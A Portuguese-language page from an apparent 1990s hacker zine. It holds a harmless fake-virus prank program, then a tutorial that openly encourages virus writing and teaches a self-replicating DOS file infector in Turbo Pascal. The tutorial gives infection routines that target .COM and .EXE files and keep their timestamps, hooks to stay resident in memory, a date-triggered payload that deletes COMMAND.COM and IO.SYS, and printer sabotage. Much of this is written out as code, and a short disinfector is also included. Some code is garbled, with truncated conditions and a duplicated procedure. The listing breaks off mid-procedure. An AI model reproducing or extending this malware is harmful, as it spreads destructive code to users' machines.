Vírus em Pascal


Simulacao de virus em PASCAL, basta compilar para rodar, assusta o lamer, simula travar o CPU do coitado como se fosse um jogo! Feito e enviado por LamaHunter. Aqui vai o SOURCE CODE desta simulacao de virus, divirta-se!
Para compilar use o TURBO PASCAL 5.0 em diante. Nao mudem este prog. somente aprenda com ele.
 

Inicio:
;Language: PASCAL (TURBO PASCAL)
;Created by: LamaHunter
;Date: 11/97
;Specil to Allansoft

-----------------------Corte aqui BUG.PAS-----------------------------------

program alsoft_virii_simul;
uses crt;
var
x:array[1..100] of integer;
j:integer;
t,t2:char;
begin
clrscr;
writeln(' Allansoft Zine Package for DOS Versão 1.0');
delay(33000);
writeln('(c) Copyright 1997 Allansoft inc. ');
writeln('Todos os direitos reservados.');
writeln;
delay(44000);delay(44440);
clrscr;
write('Iniciando a instalação:');write('.');delay(50000); write('.');delay(50000);
write('.');delay(30000);write('.');delay(50000);
write('.');delay(30000);write('.');delay(30000);write('.');
write('.');delay(50000);write('.');delay(30000);delay(60000);
writeln;
clrscr;
writeln;
writeln('Checando espaço disponível em disco para começar a instalação:');
for j:=1 to 100 do
begin
gotoxy(7,3);
write(j,'% checked ');
delay(4000);
end;
delay(2000);
writeln;
writeln;
writeln;
writeln('Atenção! O vírus Michellangelo foi encontrado em seu computador ');
delay(20000);
writeln;
Writeln(' Impossível achar COMMAND.COM! Sistema Paralizado');
for j:=1 to 100 do
delay (50000);
writeln;
Writeln('Assustado??');
nosound;
end.

-------------------------Fim do corte---------------------------------------

Pronto, tah ai o seu viruzinho em pascal e nao me enche mais o saco!
 

+-------------------------TVIRUS.TXT--------------------------------------+
|                                                                                                         |
|                TUTORIAL DE COMO CRIAR UM VIRUS             |
|                     EM PASCAL (BY LEBEAU)                                   |
|                                                                                                        |
|                                                                                                        |
|                                                                                                        |
|                                                                                                        |
|   Como eu diria: Conhecimento e poder, ter paciencia para       |
|      alcanca-lo e  fundamental.                                                       |
|                                                                                                        |
|                                                                                                        |
| v. 1.01                                         Last modified: 23/05/97            |
+---------------------------------------------------------------------------------+
+--------------------------------------------------------------------------------------------------+
| Atencao: Estou a fim de receber textos sobre hacking ou Virus, pode ser   |
| em portugues ou em ingles para que eu possa colocar em minha HP.           |
+--------------------------------------------------------------------------------------------------+
 

---------------------------------------------------------------------------
Proposito do tutorial:
---------------------------------------------------------------------------

Antes de nada, eu fiz esse virus para aqueles que ja tenham algum conhecimento em logica/programacao em Pascal ou outra linguagem,
Espero com esse texto mostrar/ensinar/incentivar a criacao de virus, materia pouco tratada por nos brasileiros, poucos sao aqueles que fazem virus (Nao estou dizendo que nao ha, existir existe mas eles nao aparecem para divulgar o que fez tipo montando um zine brasileiro somente sobre criacao de virus com as sua variadas tecnicas), geralmente o que o pessoal faz e colocar uma copia de um virus em sua HP, so para constar.  Bom, eu adoro a criacao de virus, venho criando/arrumando meu virus ja de um tempo atras, antes mesmo de conhecer a Internet eu ja fazia algo sobre o assunto, mas depois que eu conheci a Net que eu pude me inteirar mais sobre o assunto, atraves de Zines como a 40hex americana e a Minotauro argentina, sou colecionador de virus, tenho mais ou menos 50 virus em casa mais 3 programas que criam virus e percebi o quanto o Brasil estava atrasando quanto a isso. Portanto, eu resolvi criar esse tutorial de como fazer um virus em Pascal (Porque em Pascal? Leia a Introducao e voce sabera) o virus que eu mostro nesse tutorial foi o primeiro que eu fiz, do tipo normal, fora esse eu tenho mais outro virus de um genero diferente: COMpanion.
Bom antes que eu me esqueca, esse tutorial e de genero educacional somente, O autor do Tutorial/criador do virus nao se responsabilizara pelas idiotices que os leitores fizerem com esse tutorial/virus.
Esse texto, nao trata apenas de virus, trata de logica de virus e tudo que envolve isso, ele ensina/mostra muita coisa que voce pode por em algum programa que nao tenha nada a ver com virus.

Qualquer duvida mande um email para:
[email protected]
ou visite minha HP:
http://www.geocities.com/SiliconValley/Lakes/3892

LeBeau
 

---------------------------------------------------------------------------
Introducao
---------------------------------------------------------------------------

Vamos comecar esse tutorial tendo em mente uma coisa: O que e um virus de computador?
Um virus de computador nada mais e que um programa que se auto-copia, ou seja, nao e necessario que eu digite um comando especifico que ative ele, basta executar o programa que contem o virus (Geralmente sem querer), o que eu pretendo fazer com esse texto e tentar ensinar a vc como criar um virus simples em pascal, tentando mostrar a logica dele.  Eu peguei a linguagem Pascal para fazer esse virus, por que para mim ela e uma das melhores que existem, e tambem para ensinar a logica do virus o Pascal e otimo, eu poderia ter criado um tutorial de como fazer um virus em ASM, mas poucos iriam poder usufruir totalmente da logica, por outro lado quase todo mundo programa em Pascal, entao ai esta.  So tem uma coisa que eu nao gostei nesse virus em Pascal:  O tamanho dele pronto, ele fica com um tamanho variando de 8 K a 12 K, o que para um virus e muito, em ASM ou C ficaria em torno de 1 K a 4 K, mas a pessoa que ler esse texto pode muito bem passar esse programa do Pascal para o C ou ASM, caso alguem faca isso, eu pediria para que me enviassem o codigo final.
Depois disso, vamos tratar de criar um plano de ataque para o meu virus, ou seja como ele vai agir.
 
 

---------------------------------------------------------------------------
Teorizando:
---------------------------------------------------------------------------

O virus que eu fiz em Pascal trabalha do seguinte jeito, ele copia somente o virus para um arquivo temporario e depois ele copia o arquivo hospedeiro para o final dele, depois apagava o arquivo hospedeiro original do disco e renomeava o arquivo temporario de modo a ter o nome do arquivo hospedeiro.

Seria algo como concatenacao de arquivos, se eu fosse fazer isso em DOS, eu faria assim:

Comandos:
copy /b virus.exe+arquivo.exe virtemp.tmp
del arquivo.exe
ren virtemp.tmp arquivo.exe

Onde:
virus.exe = virus (somente)
arquivo.exe = arquivo hospedeiro (Pode ser extensao .exe ou .com, nao ha
diferenca)
virtemp.tmp = arquivo infectado temporario
/b = realiza copia binaria
 

---------------------------------------------------------------------------
Problemas:
---------------------------------------------------------------------------

So que o virus nao e tao simples assim.  Problemas a serem tratados:

1) O DOS nesse caso, somente executaria o virus, deixando o programa  hospedado sem ser executado, o certo e que ele seja executado.

2) A data e hora do arquivo ficam alterados, o certo e que elas continuem inalteradas.
 

---------------------------------------------------------------------------
Possiveis solucoes:
---------------------------------------------------------------------------

1) Criar uma funcao que desfaca o que foi feito, gravando o arquivo com outro nome e depois executando ele de dentro do virus.

2) Gravar data e hora do arquivo para variaveis e depois recoloca-las no arquivo.
 

---------------------------------------------------------------------------
Outras questoes a abordar:
---------------------------------------------------------------------------

1) Reproducao - Ele tem que se reproduzir, senao ele nao pode ser chamado de virus.

2) Execucao - Ele tera que executar o programa hospedeiro.

3) Acoes que ele possa vir a fazer - Algo que se coloque no codigo do programa para que o virus execute, tipo apagar command.com, impedir que a impressora.
Imprima (em modo DOS), tocar sons e/ou fazer uma bolinha passear na tela (Isso o que eu geralmente uso), ou entao fazer dele um virus anti-virus.

4) Programa Anti-virus - Isso mesmo um anti-virus, seria a coisa mais idiota voce fazer um virus e nao ter uma protecao contra ele, uma vez que voce
   vai realizar varios testes, vai que ele escapa do seu controle. O Anti-virus no caso seria um programa SEU em Pascal que desinfectasse o arquivo.

5) Programa que mostra o tamanho e o cabecalho do seu virus - O virus necessita de informacoes quanto a si proprio para agilizar o esquema.

6) Encriptacao - Esconder os dados de alguem que veja o conteudo do virus!

7) Quantos arquivos a serem infectados - Quantidade maxima de arquivos a serem infectados. Questao de seguranca.
 

---------------------------------------------------------------------------
Fluxograma:
---------------------------------------------------------------------------

                     Virus Executado
                           |
                           |
           (inicinf)Iniciar infeccao nos caminhos
           c:\dos\*.com, c:\dos\*.exe, *.com, *.exe
             c:\windows\*.com, c:\windows\*.exe
                           |
                           |
             (infec)Infecta os arquivos do diretorio fornecido.
                           |
                           |
            (procura)Procura primeiro arquivo a infectar
                           |
                           |
 +----->  (verifica) Arquivo Infectado? ---S--------------------------------+
 |                         |                                                |
 |                         | N                                              |
 |          (infec)Copia virus (sem arq hospedeiro)                         |
 |           para um arquivo chamado virtemp.tmp                            |
 |                         |                                                |
 |                         |                                                |
 |            Copia arquivo a ser infectado a partir                        |
 |               do fim do virus (concatenacao):                            |
 |            copy /b virtemp.exe+arquivo.exe virtemp.tmp                   |
 |                         |                                                |
 |                         |                                                |
 |     Grava data e hora do arquivo em variaveis.                           |
 |                         |                                                |
 |                         |                                                |
 | Apaga arquivo original a ser infectado (del arquivo.exe)                 |
 |                                                                          |
 |                         |                                                |
 |                         |                                                |
 |  Renomeia virus com arquivo infectado(virtemp.tmp) para                  |
 |      arquivo.exe: ren virtemp.tmp arquivo.exe                            |
 |                         |                                                |
 |                         |                                                |
 |         Recupera a data e hora do arquivo hospedeiro                     |
 |                         |                                                |
 |                         |                                                |
 +-------------S-- Procura mais arquivos. <---------------------------------+
                   Existem mais arquivos?
                           |
                           | N
           (executa)Iniciar execucao do programa hospedeiro
                           |
                           |
              Separar programa hospedeiro do virus
                           |
                           |
         Posicionar ponteiro no fim do virus (e inicio
                   do arquivo)
                           |
                           |
           Iniciar a copiar a partir deste ponto
                ate o fim do arquivo (Resultado: programa
                sem virus pronto a ser executado)
                para um arquivo chamado virtemp.TMP
                           |
                           |
                 Executar arquivo virtemp.tmp
                           |
                           |
             Limpar o conteudo do arquivo
             virtemp.tmp (de modo que nao
       se possa recuperar o que tinha dentro dele)
                           |
                           |
             Apagar o arquivo virtemp.tmp
                           |
                           |
             Iniciar procedimentos que ele possa vir
                a fazer (Apagar arquivos, mexer com a
                    impressora, etc).
                           |
                           |
                     Fim do virus
 

---------------------------------------------------------------------------
Iniciando a infectar:
---------------------------------------------------------------------------

Vamos iniciar a infeccao, nesse caso seria somente iniciar o caminho que se
quer infectar. Nesse caso: c:\dos\*.com, c:\dos\*.exe, *.com, *.exe,
c:\windows\*.com, c:\windows\*.exe, junto disso deve ser dado o diretorio de
trabalho.

Procedure inicinf;
begin
  if MOSTRA then writeln('Iniciando infeccao dos arquivos');
  arquiv:=0;
  procura('*.com','');
  procura('*.exe','');
  procura('c:\windows\*.com','c:\windows\');
  procura('c:\windows\*.exe','c:\windows\');
  procura('c:\dos\*.com','c:\dos\');
  procura('c:\dos\*.exe','c:\dos\');
  if MOSTRA then writeln('Infeccao dos arquivos Finalizada. Com um total de:');
  if MOSTRA then writeln(arquiv,' arquivos infectados.');
end;

Como se pode ver, essa procedure somente lanca outra, outra coisa, e preciso
fornecer um diretorio de trabalho para o esquema poder funcionar direito.
 
 

---------------------------------------------------------------------------
Infeccao de virus:
---------------------------------------------------------------------------

Essa parte ainda seria um procedure que lanca outra, mas ela trabalharia mais a nivel de arquivo do que a anterior.

procedure procura(nome,dir:string);
begin
  if MOSTRA then writeln('Iniciando infeccao do diretorio: ',nome);
  FindFirst(nome, Archive, DirInfo);
  {$i+}
  while (DosError = 0) and (arquiv'COMMAND.COM') then begin
    HORAINI(NOME);  {Grava data e hora do arquivo}
    assign(FromF,nome);
    reset(FromF,1);
    assign(ToF,'virtemp.tmp');
    Rewrite(ToF,1);
    repeat
      BlockRead(FromF, buf2, SizeOf(buf2), numread);
      BlockWrite(ToF, buf2, numread, NumWritten);
    until (numread = 0) or (NumWritten <> numread);
    close(FromF);
    close(tof);

    {Ate aqui seria a parte onde se copia o arquivo a ser infectado para outro arquivo temporario}

    assign(FromF,nome_arq); {nome_arq: explicado mais tarde}
    reset(FromF, 1);
    assign(ToF, nome);
    Rewrite(ToF, 1);
    BlockRead(FromF, buf, SizeOf(buf), numread);   {Caso vc nao se lembre, o BUF e o buffer}
    BlockWrite(ToF, buf, numread, NumWritten);     {que contera o virus, que nesse caso ele}
    close(FromF);                                  {copiara somente o virus para o arquivo a}
    close(tof);                                    {ser infectado (arquivo.exe) em que havia sido}
                                                   {movido o seu conteudo para virtemp.tmp   }
                                                   {deixando, por enquanto somente o virus no }
                                                   {arquivo                                   }
 

  assign(FromF,'virtemp.TMP');
  reset(FromF, 1);
  assign(ToF, nome);
  reset(tof,1);
  seek(tof,LENVIRUS); {Posiciona o ponteiro do arquivo na posicao final do arquivo}
  repeat
    BlockRead(FromF, buf, SizeOf(buf), numread);
    BlockWrite(ToF, buf, numread, NumWritten);
  until (numread = 0) or (NumWritten <> numread);
  close(FromF);
  close(tof);
  erase(fromf);
  HORAFIM(NOME);
  end;
  {Essa parte seria a concatenacao virus+arquivo, onde o arquivo seria acrescentado no fim do
   virus}

  if MOSTRA then writeln('Infeccao completa.');
end;

procedure procura(nome,dir:string);
begin
  if MOSTRA then writeln('Iniciando infeccao do diretorio: ',nome);
  FindFirst(nome, Archive, DirInfo);
  {$i+}
  while (DosError = 0) and (arquiv numread);
  close(FromF);
  close(tof);
  exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3)); {Executa o programa aqui}
  rewrite(tof); {Agora vou limpar o conteudo e apagar o arquivo}
  close(tof);
  erase(tof);
  if MOSTRA then writeln('Execucao do programa hospedeiro finalizada');
end;
 
 
 

---------------------------------------------------------------------------
Corpo Principal do programa:
---------------------------------------------------------------------------

Vamos ter que iniciar as funcoes do virus:

begin
  if MOSTRA then writeln('Iniciando o Virus');
  nome_arq:=paramstr(0); {Essa variavel ira conter o nome do programa que esta sendo executado no momento.  Caso o nome que foi executado               seja EDIT.exe essa variavel
                          contera EDIT.EXE}
  SETCBREAK(FALSE); {Para que o usuario nao possa apertar Ctrl-C}
  contra(nome_arq);
  inicinf;
  executa;
  apag_arq;
  GetIntVec($1c,@int1c);     {Essa parte sera vista mais adiante}
  SetIntVec($1c,Addr(bola));
  vbola:=false;
  cx:=random(80);{Aleatorizar a posicao da bola na tela}
  cy:=random(24);
  GetIntVec($17,@printer);         {Essa parte sera vista mais adiante}
  SetIntVec($17,Addr(escrever));  {Essa parte mostra ao computador para usar
                                   O procedimento escrever como padrao para a
                                   impressora}
  if MOSTRA then writeln('Fim do virus.');
  keep(0); {Deixa o programa residente na memoria.}
  if mostra then writeln('Programa Residente');
end.
 
 
 

---------------------------------------------------------------------------
Programas necessario a execucao do Virus:
---------------------------------------------------------------------------

Vou mostrar alguns programas necessarios para o correto uso desse virus:

1) Programa que determina o cabecalho e ja mostra o tamanho do executavel.
    Esse programa tem que ser colocado em um arquivo com o seguinte codigo:

program Cabecalho;
uses crt;
var
  arq: file;
  NumRead, NumWritten: Word;
  Buf: array[1..5] of Char;
begin
  Assign(arq, 'virus.exe'); { Open input file }
  Reset(arq, 1);  { Record size = 1 }
  Writeln('Tamanho do Virus: ', FileSize(arq), ' bytes...');
  BlockRead(arq, Buf, SizeOf(Buf), NumRead);
  Close(arq);
  writeln('Cabecalho: ',buf[1],buf[2],buf[3],buf[4],buf[5]);
  writeln('Codigo Ascii: ',ord(buf[1]),' ',ord(buf[2]),' ',ord(buf[3]),' ',ord(buf[4]),' ',ord(buf[5]));
end.
 

2) Programa Antivirus: Para se ter um programa anti-virus desse virus, e necessario os seguintes dados: LENVIRUS e os primeiros 5 bytes do arquivos Lenvirus e fundamental pois so com ele se pode desinfectar os arquivos.
   Uma vez que e ele quem fornece a posicao do fim do virus e inicio do arquivo que vai ser liberado.
   Os primeiros 5 bytes podem ser arrajandos atraves do programa Cabecalho visto anteriormente.  O codigo de um programa antivirus com todos os dados preenchidos ficaria assim:

program antivirus;
uses crt,dos;
const
  CAB:string[5]=CHR(77)+CHR(90)+CHR(48)+CHR(1)+CHR(23);  { CABECALHO DO VIRUS - ALTERE SE MODIFICADO}
  LENVIRUS = 11568;
PROCEDURE limpa(nome:string);
var
  buf: array[1..LENVIRUS] of Char; {Tamanho do virus}
  buf2: array[1..2048] of Char;    {Variavel necessaria para a copia}
  numread, NumWritten: Word;
  fromf,tof:file;
begin
  assign(FromF,nome);
  reset(FromF, 1);
  if filesize(fromf)>lenvirus then begin
    assign(ToF, 'virtemp.tmp');
    rewrite(tof,1);
    seek(fromf,LENVIRUS); {Posiciona o ponteiro do arquivo na posicao final do arquivo}
    repeat
      BlockRead(FromF, buf, SizeOf(buf), numread);
      BlockWrite(ToF, buf, numread, NumWritten);
    until (numread = 0) or (NumWritten <> numread);
    close(FromF);
    close(tof);
    erase(fromf);
    rename(tof,nome);
  end;
end;
function verifica(nome:string):boolean;
VAR
  buf: array[1..10] of Char;
  numread:WORD;
  con:integer;
  vfile:file;
begin
  con:=1;
  assign(vFile,NoME);
  reset(vFile,1);  { Record size = 1 }
  BlockRead(vFile, buf, SizeOf(buf), numread);
  IF (buf[3]=CAB[3]) AND (buf[4]=CAB[4]) then
  begin
    {Verifica o cabecalho do arquivo}
    verifica:=TRUE                               {para ver se ja foi infectado}
  end ELSE
  begin
    verifica:=FALSE;
  end;
  close(vFile);
END;

procedure procura_arqs(direct:string);
var
  DirInfo: SearchRec;         { For Windows, use TSearchRec }
begin                          { For Windows, use faArchive }
  FindFirst(direct, Archive, DirInfo); { Same as DIR *.PAS }
  while DosError = 0 do
  begin
    if verifica(dirinfo.name) then begin
      Writeln(DirInfo.Name);
      limpa(dirinfo.name);
    end;
    FindNext(DirInfo);
  end;
end;
begin
  procura_arqs('*.exe');
  procura_arqs('*.com');
end.
 
 
 

---------------------------------------------------------------------------
Acoes do virus:
---------------------------------------------------------------------------

Vou dar alguns exemplo de acoes que o virus pode vir a fazer:

1) Torna-lo residente em memoria, e algum tempo depois de ser executado ele mostrara uma bola passeando na tela.

2) Apagar arquivos \command.com e \io.sys a partir da data 12/07/98

3) Tocar um beep a cada vez que o usuario teclar uma tecla.

4) Impedir que a impressora imprima.

5) Que tal um virus anti-virus?
 
 
 

---------------------------------------------------------------------------
Exemplos de acoes do virus:
---------------------------------------------------------------------------
 

1) Para fazer uma bola passear na tela e preciso torna-lo residente, e para isso e necessario o seguinte:

   - incluir uma linha: {$M $8500,0,0 } na primeira linha, seria a parte de
     memoria a ser reservada para o programa. O valor pode ser alterado.
     Essa parte determina a quantidade de memoria que o virus tera quando ficar
     residente, com esse valor ficaria com cerca de 45 k, um valor alto demais,
     mas voce pode alterar o valor a vontade, desde que voce teste o virus.
     Tambem recomendaria incluir a seguinte linha depois do $M :
     {$S-,R-,I-,V-,f+}, mesmo que voce deixe ele residente ou nao.

   - incluir uma variavel global int1c : Procedure; mais vx,vy,cx,cy:integer; para
     determinar a posicao da bola na tela, mais vbola:boolean para dar um tempo
     quando vbola for true, sera executado o codigo para mexer o cursor, ate la
     nao aparece nada.

   - incluir o seguinte codigo de programa:

procedure bola; interrupt;
var
  cont:integer;
begin
  if not vbola then
    if port[$60]<$80 then
      inc(con);
  if con=550 then
    vbola:=true;
  if vbola then
  begin
    cont:=random(4)+1;
    vy:=wherey;
    vx:=wherex;
    gotoxy(cx,cy);
    write('Û');
    case cont of
      1:if cx<78 then inc(cx);
      2:if cx>1 then dec(cx);
      3:if cy<23 then inc(cy);
      4:if cy>1 then dec(cy);
    end;
    gotoxy(cx,cy);
    write('þ');
    gotoxy(vx,vy);
  end;
  inline ($9C);
  int1c;
end;
 

Mais o seguinte no codigo de programa na parte principal do virus
(de preferencia uma linha antes do end.):
  vbola:=false;
  vx:=random(80);{Aleatorizar a posicao da bola na tela}
  vy:=random(24);
  GetIntVec($1c,@int1c);
  SetIntVec($1c,Addr(bola));
  keep(0); {Esse Keep faz com que o programa finalize E fique residente na
            memoria, permitindo entao que se use as Interrupcoes $1C e a
            $17 ($1C seria uma interrupcao que e executada ininterruptamente,
            permitindo que se faca uma bola passear pela tela, $17 seria a
            impressora, visto mais adiante)

2) Para apagar os arquivos \command.com e \io.sys a partir da data 12/07/98 (data em que faco 20 anos, belo presente, ne?). Seria necessario o seguinte:

procedure apag_arq;
var
  m,dia,ano,dow:word;
  mes:boolean;
  f:file;
begin
  if mostra then writeln('Pegando data atual');
  getdate(ano,m,dia,dow);
  mes:=false;
  if ano=1998 then
    if m>=7 then      {Data de ativacao: 12/07/1998}
      if dia>=12 then
        mes:=true;
  if ano>1998 then mes:=true;
  if mostra then writeln('Pegando data atual finalizado');
  if mes then begin
    if mostra then writeln('Iniciando a apagar os arquivos: \command.com e \io.sys');
    assign(f,'c:\command.com');
    erase(f);
    assign(f,'c:\io.sys');
    erase(f);
  end;
end;
 

Mais a linha apag_arq no corpo principal.

3) Para tocar um beep a cada vez que o usuario tecla algo, e necessario acrescentar o seguinte codigo de programa na procedure bola, vista
   anteriormente:

if Port[$60] < $80 then
begin
  Sound(5000);
  Delay(1);
  Nosound;
end;

4) Para impedir que a impressora imprima, e necessario que se entenda um pouco de interrupcoes:  E o seguinte, tudo no computador funciona por meio de interrupcoes, o teclado, o mouse, o video, A IMPRESSORA, tudo mesmo e controlado por interrupcoes, no caso nos vamos mexer com a impressora, mas voce poderia fazer o que bem entender com o que voce quiser no computador.
    Podia travar a maquina, reseta-la, entre outros. Vou mostrar agora o codigo desse procedimento:

procedure escrever;interrupt;
begin
    Sound(random(5000));
    Delay(1);
    Nosound;
  inline ($9C);
  printer;
end;

Impede a impressora de imprimir e ainda faz barulho.  Ahh, isso nao funciona
dentro do Win95, no Win 3.1x funciona, grande avanco de um para o outro ne?

Mais o seguinte codigo uma linha antes do keep(0) visto na questao 1:

  GetIntVec($17,@printer);
  SetIntVec($17,Addr(escrever));  {Essa parte mostra ao computador para usar
                                   O procedimento escrever como padrao para a
                                   impressora}
Mais a variavel global:

printer:procedure;

5) Um Virus anti-virus nesse caso, seria impedir que qualquer virus estranho seja executado DUAS vezes no arquivo infectado com esse virus, e o seguinte os virus estranhos (diferentes deste) normalmente alteram os 3 primeiros bytes do programa executavel colocando la um jump (JMP em ASM para quem conhece, pulo de um lugar para outro para quem nao conhece NADA) para executar o virus e depois volta para a posicao depois do jump, executando o programa normalmente, o que nos faremos e o seguinte, guardar os primeiros 5 bytes (para garantir vai 5) para depois caso o programa se altere, repor os bytes originais, impedindo que o programa de um jump ate o virus, so que o virus estranho vai ser executado uma vez, depois dele ser executado, o virus em Pascal ira limpar os primeiros bytes do arquivo, so tem um defeito, ele limpa o inicio, o fim do arquivo fica no mesmo estado que estava antes, ou seja, com o virus, so que agora ele esta inativo.  Essa funcao serve mais para avisar ao usuario que o computador esta infectado por algum virus.  Um exemplo disso vai a seguir, sendo que para se testar a desinfeccao e necessario fornecer um nome de arquivo que vai ser o nome do virus:

procedure contra(non:string);
var
  FromF, ToF: file;
  ARQ:text;
  Ft:FILE of char;
  f:file;

function vervir(nome:string):boolean;
VAR
  Buf: array[1..10] of Char;
  NUMREAD:WORD;
  con:integer;
begin
  if mostra then writeln('Iniciando verificacao de infeccao do arquivo ',nome);
  con:=1;
  ASSIGN(F,NoME);
  ReSET(F,1);  { Record size = 1 }
  BlockRead(F, Buf, SizeOf(Buf), NumRead);
  IF (BUF[1]=cab[1]) AND (BUF[2]=cab[2])AND (BUF[3]=cab[3])AND (BUF[4]=cab[4])AND (BUF[4]=cab[4]) tHEN
  {Verifica o cabecalho do arquivo}
  vervir:=TRUE                               {para ver se ja foi infectado}
  ELSE
    vervir:=FALSE;
  Close(F);
  if mostra then writeln('Verificacao de infeccao finalizada');
END;
procedure antivir;
begin
 if not vervir(non) then
 begin
   if mostra then writeln('Arquivo Infectado, tentando desinfectar...'); {Arquivo infectado, tentando desinfectar...}
   aSSIGN(Ft,paramstr(0));
   ReSET(Ft);  { Record size = 1 }
   write(ft,cab[1]);
   write(ft,cab[2]);
   write(ft,cab[3]);
   write(ft,cab[4]);
   write(ft,cab[5]);
   close(ft);
   if mostra then writeln('Desinfeccao completa!'); {Desinfeccao completa}
   textcolor(white+blink);
   writeln('Atencao: Seu computador esta infectado por virus! Sugiro passar Anti-virus!');
   textcolor(white);
 end;
end;
begin
  if mostra then writeln('Inicio do procedimento anti-virus.');
  antivir;
  if mostra then writeln('Fim do procedimento anti-virus.');
end;
 

Eu sugiro que a linha contendo o codigo contra(nome_arq); seja colocada antes da linha inicinf;, porque se o programa estiver infectado por algum virus estranho o virus em Pascal ira reinfectar o arquivo atual.
 
 
 

---------------------------------------------------------------------------
Constantes a serem usadas:
---------------------------------------------------------------------------

Esse programa necessita de algumas constantes para ter melhor controle sobre si proprio.

CONST
  LENVIRUS=11616;  {TAMANHO DO VIRUS - ALTERE SE MODIFICADO, USE O PROGRAMA
                    CABECALHO PARA ISSO}
  CAB:string[5]=CHR(77)+CHR(90)+CHR(96)+CHR(1)+CHR(23);  { CABECALHO DO VIRUS - ALTERE SE MODIFICADO,
                USE O PROGRAMA CABECALHO PARA ISSO}
  MAXBUFLEN=1024; {Tamanho do buffer em bytes a ser copiado por vez}
  FILES=10; {Arquivos a serem infectados por vez}
  MOSTRA=true; {Voce quer saber o que o seu virus esta fazendo?}
 
 
 

---------------------------------------------------------------------------
Variaveis globais a serem usadas:
---------------------------------------------------------------------------

Sem explicacoes, e necessario ter variaveis para o programa poder funcionar.

VAR
  fvir,vfile,fromf,tof:file;  {Arquivo que vai conter o virus, variavel de arquivo usado na no virus, 2 variaveis necessarias
                               para a copia do virus }
  con:integer; {variavel contadora}
  int1c : Procedure;  {Esses dois serao vistos em exemplos de acoes do virus}
  printer:procedure;
  buffer:ARRAY[1..MAXBUFLEN] OF CHAR; {Necessario para a copia de arquivos}
  vx,vy,cx,cy:integer; {Coordenadas x,y da bola na tela}
  h, m, s, hund,day,mon,year : Word; {Necessario para conter a data e a hora do arquivo}
  dat:datetime; {Vai conter a hora do arquivo}
  ftime:longint; {Hora do arquivo}
  vbola:boolean;
  nome_arq:pathstr; {Ira conter o nome do arquivo com o virus, muito necessario}
  arquiv:integer; {Quantidade de arquivos infectados ate o momento}
  dirinfo:searchrec; {Muito usado no virus, e responsavel por procurar arquivos onde eu
                     quiser usando coringas (*.exe,c:\dos\*.com)}
 
 
 

---------------------------------------------------------------------------
Bibliotecas de funcoes necessarias ao funcionamento:
---------------------------------------------------------------------------

Para executar esse programa e necessario algumas bibliotecas de funcoes para o correto funcionamento:

USES crt,windos,dos;
 
 
 

---------------------------------------------------------------------------
Listagem do programa como ele deveria ficar:
---------------------------------------------------------------------------

Aqui vai a listagem do Programa Completo do jeito que ele deveria ficar, eu sugiro que voce salve esse codigo abaixo em um arquivo chamado virus.pas, depois de compilado o nome do virus ficara virus.exe (Incrivel, ne?), nao esqueca de sempre que voce modificar o virus usar o programa Cabecalho para atualizar o virus.
Bom, la vai:

{$M $2500,0,0 }
{$S-,R-,I-,V-,f+}

Program Exemplo_de_virus_em_Pascal;
USES crt,windos,dos;
CONST
  LENVIRUS=11616;  {TAMANHO DO VIRUS - ALTERE SE MODIFICADO, USE O PROGRAMA
                   CABECALHO PARA ISSO}
  CAB:string[5]=CHR(77)+CHR(90)+CHR(96)+CHR(1)+cHR(23);  {CABECALHO DO VIRUS - ALTERE SE MODIFICADO,
                   USE O PROGRAMA CABECALHO PARA ISSO}
  MAXBUFLEN=1024; {Tamanho do buffer em bytes a ser copiado por vez}
  FILES=10; {Arquivos a serem infectados por vez}
  MOSTRA=true; {Voce quer saber o que o seu virus esta fazendo?}
VAR
  fvir,vfile,fromf,tof:file;  {Arquivo que vai conter o virus, variavel de arquivo usado na no virus, 2 variaveis necessarias
                               para a copia do virus }
  con:integer; {variavel contadora}
  int1c : Procedure;  {Esses dois serao vistos em exemplos de acoes do virus}
  printer:procedure;
  buffer:ARRAY[1..MAXBUFLEN] OF CHAR; {Necessario para a copia de arquivos}
  vx,vy,cx,cy:integer; {Coordenadas x,y da bola na tela}
  h, m, s, hund,day,mon,year : Word; {Necessario para conter a data e a hora do arquivo}
  dat:datetime; {Vai conter a hora do arquivo}
  ftime:longint; {Hora do arquivo}
  vbola:boolean;
  nome_arq:pathstr; {Ira conter o nome do arquivo com o virus, muito necessario}
  arquiv:integer; {Quantidade de arquivos infectados ate o momento}
  dirinfo:searchrec; {Muito usado no virus, e responsavel por procurar arquivos onde eu
                     quiser usando coringas (*.exe,c:\dos\*.com)}
 

procedure HORAINI(NOME:STRING);
var
  arq:file;
begin
  if MOSTRA then writeln('Gravando data e hora do arquivo: ',nome);
  assign(arq, NOME);    {Pega a hora de criacao do arquivo}
  reset(arq);
  Getftime(arq,ftime);
  UnpackTime(ftime,dat);
  H:=dat.HOUR;
  M:=dat.MIN;
  S:=dat.SEC;
  day:=dat.day;
  mon:=dat.month;
  year:=dat.year;
  close(arq);
  if MOSTRA then writeln('Concluida gravacao do de data e hora do arquivo: ',nome);
END;
PROCEDURE HORAFIM(NOME:STRING);
var
  arq:file;
BEGIN
  if MOSTRA then writeln('Restaurando data e hora original do programa: ',nome);
  dat.HOUR:=H; {Restaura a data e hora original}
  dat.MIN:=M;
  dat.SEC:=S;
  dat.day:=day;
  dat.month:=mon;
  dat.year:=year;
  assign(arq, NOME);
  reset(arq);
  PackTime(dat,ftime);
  reset(arq);
  Setftime(arq,ftime);
  close(arq);
  if MOSTRA then writeln('Restauracao do arquivo ',nome,' concluida');
END;
function verifica(nome:string):boolean;
VAR
  buf: array[1..10] of Char;
  numread:WORD;
  con:integer;
begin
  if MOSTRA then writeln('Iniciando verificacao se o arquivo ',nome,' ja foi infectado.');
  con:=1;
  assign(vFile,NoME);
  reset(vFile,1);  { Record size = 1 }
  BlockRead(vFile, buf, SizeOf(buf), numread);
  IF (buf[3]=CAB[3]) AND (buf[4]=CAB[4]) then
  begin
    if MOSTRA then writeln('Verificacao completa - arquivo infectado ');
    {Verifica o cabecalho do arquivo}
    verifica:=TRUE                               {para ver se ja foi infectado}
  end ELSE
  begin
    verifica:=FALSE;
    if MOSTRA then writeln('Verificacao completa - arquivo nao infectado ');
  end;
  close(vFile);
END;

procedure infec(nome:string);
var
  buf: array[1..LENVIRUS] of Char; {Tamanho do virus}
  buf2: array[1..2048] of Char;    {Variavel necessaria para a copia}
  numread, NumWritten: Word;
begin
  if MOSTRA then writeln('Iniciando a infeccao do arquivo ',nome);
  if (nome<>'VIRTEMP.TMP') and (nome<>'COMMAND.COM') then begin
    HORAINI(NOME);  {Grava data e hora do arquivo}
    assign(FromF,nome);
    reset(FromF,1);
